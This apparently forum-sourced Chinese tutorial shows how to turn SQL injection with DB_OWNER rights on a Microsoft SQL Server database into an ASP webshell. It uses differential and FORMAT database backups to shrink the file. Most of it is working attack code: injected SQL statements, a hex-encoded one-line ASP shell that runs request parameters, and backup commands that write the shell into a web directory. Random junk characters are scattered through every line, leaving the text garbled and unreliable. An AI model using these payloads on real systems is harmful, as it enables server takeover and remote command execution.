DB_OWNER权限得到webshell的两点改进: N' {# v: t# A+ O
! F X8 I. M0 n0 n P7 Z3 |$ H减少备份文件大小,得到可执行的webshell成功率提高不少& S# |1 H9 w2 s. X$ \! u2 |0 ?
一利用差异备份
* Y* m6 `: z6 C: V1 F% J ~2 V" W加一个参数WITH DIFFERENTIAL' j; ~; j w v% ]0 ?' P+ x7 v& |+ H
1 @9 J' r: o9 |. }- U# T
14 n1 l( o6 ]5 { e6 D5 I
2
( T+ ^9 Y; v7 Y- U) H' C. q3$ f: z' r/ F, z8 V: b! A
4. r7 h! A/ f3 E* e7 x. i
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s, G+ F& R4 g7 G0 D8 F5 f N
create table [dbo].[xiaolu] ([cmd] [image]);
! H) t* S2 d# K$ k" r& Rinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)4 c; _; i5 W. Q# ^. _0 t5 g
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL . S' D7 c7 p8 y5 e1 ?: A1 y/ v
9 o& D2 q" ]+ u4 `+ n
二利用完全FORMAT/ x d1 Q* [; t2 P' S9 l4 a
加一个参数WITH FROMAT
, K0 G. Q3 v# g1 B# D! p有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
% C& N$ i. _0 s- a9 c4 X9 a/ `
# G, ?2 t# l l7 I1: L3 E' k/ S K( \2 h
26 B8 O( I; G. U5 i$ I! V
3& H+ b7 I/ A8 w& X$ @; I
4# v( S0 ~; d X! ~! Z
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- G8 P; N' C. w! K/ _: \# }create table [dbo].[xiaolu] ([cmd] [image]);
5 N7 P1 \3 s* }& Pinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)' E1 k: f' h9 z- M- M
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
5 b0 v0 |% Y: ?/ N1 c* Y6 x$ l6 q1 J) p
总的来说就是那么简单几句,下面以备份数据库model为例子$ S5 B* G# L5 ?) W- J% Q
1: `) M) X4 {0 N! G! l9 a8 [. F
7 _0 A+ j! r; L. ~- w
18 Z T6 W7 l- U! L
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2 X1 J7 c n- O7 L8 e/ n8 i; l! e2 c4 ]% F- I1 l, p$ J) K; e$ A/ n
2
9 H; f5 z% E. Q$ L# z- e j- O+ d" }7 t2 R
1& y- u% e' c' r
id=1;backup database model to disk='你的路径‘ with differential,format;-- # O% T2 r$ h: _ N) j
|